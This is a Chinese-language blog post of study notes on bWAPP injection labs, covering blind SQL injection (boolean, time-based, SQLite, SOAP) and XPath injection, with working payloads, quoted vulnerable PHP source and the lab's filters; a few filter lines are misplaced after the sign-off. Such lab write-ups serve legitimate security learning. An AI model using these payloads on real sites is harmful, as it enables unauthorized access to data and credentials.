hacker

bWAPP学习笔记 - A1 Injection (四)

2019-05-06  本文已影响0人  开口海螺

SQL Injection - Blind - Boolean-Based

Level: Low

本题是布尔型盲注,只能判断数据是否存在

文本框内输入: test' or 1=1#

返回:The movie exists in our database!
说明逻辑判断成功,由此,可以猜测数据库名称的长度及具体名称

test' or length(database())=5#
test' or substring(database(),1,1)='b'#

更复杂的可以猜表名,猜字段,真的是猜。。。

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection - Blind - Time-Based

Level: Low

本题是时间型盲注,可以在 布尔型盲注 的基础上,通过if语句和sleep()函数来判断命令是否执行成功

文本框内输入:test' or if(1=1,sleep(2),null) #
判断是否时间型注入是否有效

可以通过浏览器的开发者工具先确定初始的执行所需时间


然后再执行sleep()语句时,就有了判断标准

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection - Blind (SQLite)

Level: Low

Sqlite的盲注与MySql的盲注区别主要在于数据库语法上,基础查询主要使用sqlite_master

文本框内输入: test' or 1=1 --
确认盲注有效

查询数据表数量是否等于4
test' or (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) =4 --
查询第一个表的名称长度是否为4
test' or (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) =4 --
查询第一个表的名字第一个字母为b
test' or (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('b') --

如果想针对性的学习Sqlite注入,可以找相关的学习资料
英文Sqlite注入资料

Level: Medium / High

源码中添加了过滤,把单引号替换为双引号

  // Replaces a single quote (')
 $input = str_replace("'", "''", $data);

SQL Injection - Blind (WS/SOAP)

Level: Low

初步看无法注入,观察URL,可以发现通过浏览器地址栏直接注入,注入方式与 布尔型盲注一致。

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


XML/XPath Injection (Login Form)

Level: Low

本题使用xml存储密码,通过xpath来查询密码,源码如下:

// Loads the XML file
$xml = simplexml_load_file("passwords/heroes.xml");

// XPath search
$result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");

使用 'or'1'='1 来重构xpath的查询语句
构造结果:
/heroes/hero[login=' 'or'1'='1' and password=' 'or'1'='1'

Level: Medium / High

使用了过滤字符

    // Replaces dangerous characters: ( ) = ' [ ] : , * / WHITESPACE
    $input = str_replace("(", "", $data);
    $input = str_replace(")", "", $input);
    $input = str_replace("=", "", $input);
    $input = str_replace("'", "", $input);
    $input = str_replace("[", "", $input);
    $input = str_replace("]", "", $input);
    $input = str_replace(":", "", $input);
    $input = str_replace(",", "", $input);
    $input = str_replace("*", "", $input);
    $input = str_replace("/", "", $input);
    $input = str_replace(" ", "", $input);

XML/XPath Injection(Search)

Level: Low

通过使用xpath的搜索语句拼合出需要的数据,

// Loads the XML file
$xml = simplexml_load_file("passwords/heroes.xml");
     
// XPath search
$result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");

拼合方法:
genre=')]/login|//hero/password| a[contains(a,'

Level: Medium / High

使用了过滤字符

    // Replaces dangerous characters: ( ) = ' [ ] : , * / WHITESPACE
    $input = str_replace("(", "", $data);
    $input = str_replace(")", "", $input);
    $input = str_replace("=", "", $input);
    $input = str_replace("'", "", $input);
    $input = str_replace("[", "", $input);
    $input = str_replace("]", "", $input);
    $input = str_replace(":", "", $input);
    $input = str_replace(",", "", $input);
    $input = str_replace("*", "", $input);

---------

至此,A1 注入的全部实验完成了。
    $input = str_replace("/", "", $input);
    $input = str_replace(" ", "", $input);
上一篇下一篇

猜你喜欢

热点阅读